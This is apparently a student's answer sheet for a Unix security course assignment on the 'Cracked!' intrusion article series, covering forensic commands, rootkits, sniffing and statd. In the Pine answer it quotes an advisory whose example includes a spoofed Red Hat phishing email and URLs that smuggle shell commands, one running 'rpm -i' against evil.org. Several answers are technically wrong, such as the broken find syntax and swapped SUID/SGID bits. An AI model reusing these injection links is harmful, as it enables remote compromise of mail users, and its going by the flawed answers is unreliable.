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217 -- Cracked!

Please read all 7 parts of the Web article series: Cracked! located here:
http://rootprompt.org/article.php3?article=403 
-------------------------------------------------------------------- DAY 1 of 7

(1) What were 3 commands that Noel must have run in order to determine that their systems 
have been cracked?

* If you suspect that an intruder broke in by exploiting SUID or SGID files, you can use find to locate all these files by looking for any log file that references the SUID (2000) or SGID (4000) permission bits:

find / \(-perm -2000 -o -perm -4000 \) -type -f -print > logfile

* Netstat is the tool to use to determine what ports and services are currently open. It prints a list of network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. When you execute the command netstat -an, you'll see a listing of all the connections along with their listening ports and the network addresses associated with these ports. The output will look something like this:
TCP 128.88.41.2:1025  140.216.41.2:80  CLOSE_WAIT
TCP 128.88.41.2:2180  140.216.41.2:80  CLOSE_WAIT
TCP 128.88.41.2:1188  140.216.41.2:80  CLOSE_WAIT 

Look for patterns such as similar source ports used to connect to different sockets. (A socket is an IP address and port together e.g., 206.208.163.15:80.) In the above example, three connections (now closed) were used to connect to the Web server port, all from different source ports. If you discover a server on a particular port that is not normally in use, it's possible that a hacker (with root level access) installed it for malicious purposes. 

* Use the more command to read the /var/log/syslog (or cat /var/log/user.log) for unauthorized intruder. 
* Use nmap - "Network Mapper" - utility for network exploration or security auditing. Designed to rapidly scan large networks, but works well against single hosts. Uses raw IP packets in novel ways to determine what hosts are available on the network, what services (ports) they are offering, what operating system (and OS version) they are running, what type of packet filters/firewalls are in use.

(2) what is meant by the phrase "Script Kiddie"?

A person, normally someone who is not technologically sophisticated, who randomly seeks out a specific weakness over the Internet in order to gain root access to a system without really understanding what it is he is exploiting because the weakness was discovered by someone else. 
A script kiddie is not looking to target specific information or a specific company but rather 
uses knowledge of a vulnerability to scan the entire Internet for a victim that possesses that vulnerability.

(3) What are the permissions and ownership for the setuid scripts found in the user's home directory?

Permissions are 2750 and owner is root.
(4) What are two different reasons why can't Noel rely on the time stamps of the setuid scripts?
Time stamp can be changed with the touch command.
(5) How did Noel verify that the setuid programs were set user id shells for each Unix system architecture?

Noel mentioned in the part 4 “Based on the group that owned the file I could tell that it was being created on our Sun box.”
(6) What does the program tripwire do?

tripwire is a System Monitoring Tool that checks to see what has been changed on your system. 
The program scans file systems and computes digital (binary) signatures for the files therein, 
then can be used later to check those files for any changes. Originally known as an intrusion detection tool, but can be used for many other purposes such as integrity assurance, change management, policy compliance and more.

(7) What does the pgp program do?

Stands for Pretty Good Privacy. pgp is a program to securely encrypt email and data using public-key cryptography. With public-key cryptography, there is no need for a secure channel with which to exchange keys. pgp is effective, easy to use, and free. It is based on the public-key method, which uses two keys -- one is a public key that you disseminate to anyone from whom you want to receive a message. The other is a private key that you use to decrypt messages that you receive. So, pgp enables people to securely exchange messages, and to secure files, disk volumes and network connections with both privacy and strong authentication.
(8) What does it mean to use a loadable module to cover the cracker's tracks?

Loadable module masks the intrusion and gives the cracker root access.

An example is when a root kit is installed after it exploits vulnerabilities.

With  loadable kernel modules it is possible for hacker to modify the system commands, 
such as ps, or ls, to hide his traces.
(9) How would you determine the various originations of a user's login

history so that you could find out where he/she/(they) logged in from?

(Hint: see and use http://visualroute.visualware.com/ )

The dig utility, a replacement for the older nslookup, is a good tool to look up suspicious IP addresses discovered through netstat, tcpdump, or other commands. To use this command, insert the IP address or hostname after the dig command, like so: dig 140.216.41.2.

The traceroute tool can help you figure out the route a packet follows to get from one place to another. Most administrators use traceroute to find out the physical geographic location of a system. If you decide to involve law enforcement, you’ll likely need to know the actual location where crime originated. If the hacker isn't using relaying, false identities, or anonymisers, you can use the traceroute command in conjunction with the information garnered from the WHOIS database to find his or her physical location.
-------------------------------------------------------------------- DAY 2 of 7

(10)  Explain each statement and output in the following commandline segment.

        $ cat >f

        begin 750 f.gz*M'XL("C;P"56'UL4]<50[9?@@L!'`

        AM-ACUAM.%?KA.1[.$EI40*M"+.....

        $ uudecode f

        $ gzip -df f.gz

        $ f include.tgz hostname

        $ rm f include.tgz
        $ cat >f
Create script f.

        begin 750 f.gz*M'XL("C;P"56'UL4]<50[9?@@L!'`

        AM-ACUAM.%?KA.1[.$EI40*M"+.....
The script content (data file).

        $ uudecode f
Convert ASCII file to regular (decodes data that was encoded using uuencode).

        $ gzip -df f.gz
Compress the f.gz file.

        $ f include.tgz hostname
Seems to me that include.t is a system file; we can find it in our system too:

$ find / -name include.t 2> /dev/null

/var/www/perl/Apache-ASP/t/include.t
include.tgz and hostname are the arguments to the "f" script.

(Instead of hostname should be a real host name.)

        $ rm f include.tgz

Delete files f and include.tgz.
(11) What does the 750 mean in the line that starts with begin?
750 is the access permission of the file f:
owner  - 7 - read, write, and execute
group  - 5 – read and execute
others - 0 – have no permissions.

(12) Why are the f and include.tgz files removed at the end?

The cracker’s f file was manipulating with include.tgz file, so he reasonably deleted his files from the system to clear his trace.
(13) What is a port redirector? What is its purpose(s)?

Port redirector - redirects a connection from one port to another.

In reading, the cracker was running a special process on the Noel’s box that redirected his connections without requiring him to log in at all. By using the port redirector he would show up on ISP’s system as coming from, say, Noel’s network yet not showing anything in that network logs. 

[In article the cracker was using port to redirect a telnet to port 2323 on Noel's box 

to port 23 on the ISP's system??]
-------------------------------------------------------------------- DAY 3 of 7

(14)  How does Noel look up the origin of IP addresses?

The traceroute command prints the route packets take to network host.

The only mandatory parameter is the destination hostname or IP number.   

(15)  What is a port scanner?

Port-scanning means trying to figure out what services a machine provides, possibly looking for vulnerabilities. It’s a favorite way for crackers to break into a security system. They use administration and downloadable hacking tools to send messages, one at a time, to ports in order to find out what ports are open and which computer services are running on those ports. Types of scans include the entire network (vanilla) or selected ports (strobe). Crackers try to hide their tracks by doing a stealth scan (which conceals their attempt to log on) or an FTP bounce scan (directed through an FTP server to disguise their location). They may send fragmented packets to get past a firewall, and they may do a sweep, which is a scan of the same port on many computers.
-------------------------------------------------------------------- DAY 4 of 7

(16) What is pine?

pine - Program for Internet News & Email - is a character-based e-mail client for UNIX systems that allows you to send, receive, and view Internet e-mail and news. Developed at the University of Washington, PINE replaces an older e-mail program called elm.
Advantages - instant access to e-mail, no configuration needed, does not leave vulnerable to virus or worm attacks, mail filtering, message bouncing.

Disadvantages - does not allow to open attachments easily, too much functionality makes it difficult to use, breaks multi-part messages into separate parts, formatting disreguarded.

(17) What essential command of pine could be used to create a backdoor to access a shell?

Source: http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0057.html
Pine URL Handler Allows Execution of Embedded Commands 
A security vulnerability in Pine allows to remote attackers to cause the Pine program to execute arbitrary commands. 

Vulnerable systems: Pine 4.33 (under Redhat 7.0) 

In Pine, if a user selects a URL with the structure of: 
  http://address/'&/some/program${IFS}with${IFS}arguments&' 

and the URL handlers are installed, they will end up with the browser open on  http://address/ 

and   /some/program with arguments  will be executed. 

If the attacked user is reading his email as root these commands will execute as root. If you are reading your email as a non-privileged user, the impact is somewhat lower, although local exploits could be run on the computer, or Outlook style email viruses could be executed. If you do not view links given to you in Pine, the impact from this problem is non-existent. 
It is possible to obfuscate the URL by putting it in an HTML message such as the following. 

----Begin html email---- 
From: Redhat Network Security <rhnsecurity@redhat.com> 
To: undisclosed list <.@.> 
Subject: Urgent update required to PINE 
<HTML> 
<BODY> 
Urgent update:<p> 
PINE allows execution of arbitrary commands.<p> 

<a href="http://updates.redhat.com/update_information/urgent/redhat-linux-version-7.0/hole-in-pine-url-handler/';touch${IFS}/tmp/zen.was.here;'/">
http://updates.redhat.com/update_information/urgent/redhat-linux-version-7.0/hole-in-pine-url-handler/</a>
This link contains PINE update information. Perform this immediately.

</HTML> 
</BODY> 

Or it can be “innocent” link like this:

http://www.altavista.com/?'"`rpm${IFS}-i${IFS}http://evil.org/evil.rpm`"'
Workaround: 
It is recommended to create an alias for root to a non-privileged user instead of reading mail as root, to avoid root compromise using this, or similar, attacks.

(18) Why would a cracker name a directory 3 dots? (...)

It looks unsuspicious, just like a parent directory; also it’s hidden.
(19) What does the ifconfig command do?

ifconfig - configures network interface parameters. ifconfig is used to assign an address to a network interface or to configure network interface parameters, or both. ifconfig must be used at boot time to define the network address of each interface present on a machine; it may also be used at a later time to redefine an interface's address or other operating parameters.

If no arguments are given, ifconfig displays the status of the currently  active interfaces. If a single interface argument is given, it displays the status of the given interface  only; if a single -a argument is given, it displays the status of all interfaces, even  those that are down. Otherwise, it configures an interface.

(20) In the ifconfig command what does the promisc option mean?

Enable or disable the promiscuous mode of the interface. If enabled, all packets on the network will be received by the interface. (The name of the interface is usually a driver name followed by a unit number, for example eth0 for the first Ethernet interface.)

Promiscuous mode is used in sniffing - hijacking information intended for other computers as it goes over a shared network. Once a cracker obtains access to a network's root, the cracker puts that machine into promiscuous mode, which accepts all the packets running across the network, or into non-promiscuous mode, where it will capture sessions only from the machine it is running on. Sniffing is a very popular attack used by hackers.

-------------------------------------------------------------------- DAY 5 of 7

(21) Of the 7 redesign goals, which one do you consider the most important to achieve (and why)?

Limit suid and sgid programs that users can run; every set user- or group id program is one that may have a vulnerability in it. Especially, if that programs owned by root. An expertized cracker can eventually get a root privilege through such programs.
[User can not run their own custom written applications ??]
-------------------------------------------------------------------- DAY 7 of 7

(22) What is the effect of unplugging a running UNIX system while

it is running in multiuser mode?

This can ruin not just a moving hard disks, but also a whole file system.
(23) What is Noel relying on when he asks to pull the plug on 

a presumed rm -rf command on each partition?

Noel had nothing to loose since the rm –rf command on each partition would remove every 

single file from the system.
(24) What does the program statd do?

statd provides network status monitoring.  It interacts with lockd to provide crash and recovery functions for the locking services on NFS. By supplying a carefully designed input argument to the statd program, intruders may be able to force statd to execute arbitrary commands as the user running statd. In most instances, this will be root. This vulnerability may be exploited by local users. It can also be exploited remotely without the intruder requiring a valid local account if statd is accessible via the network. Sites can check whether they are running statd by:

# ps -ef | grep statd

root   973     1  0 14:41:46 ?        0:00 /usr/lib/nfs/statd

(25) Write a paragraph about your reactions to this system administration

saga. Include your thoughts about how Noel's administrative acts worked

or not, and what aspect you might have done differently (if any).

The sniffing of the cracker and trying to track him down was a good idea, but the cracker himself is not dumb, he did the same to see if anyone was watching for him. Mental karate!
After first attack, Noel recovered his system as it was before; the cracker reasonable said, “Noel, you didn’t learn anything!” Of course, an extra precaucious must be taken and some changes must be done to the cracked system. Which ones? 
I just figured out that I know nothing about the unix security. That saga made it clear to me.
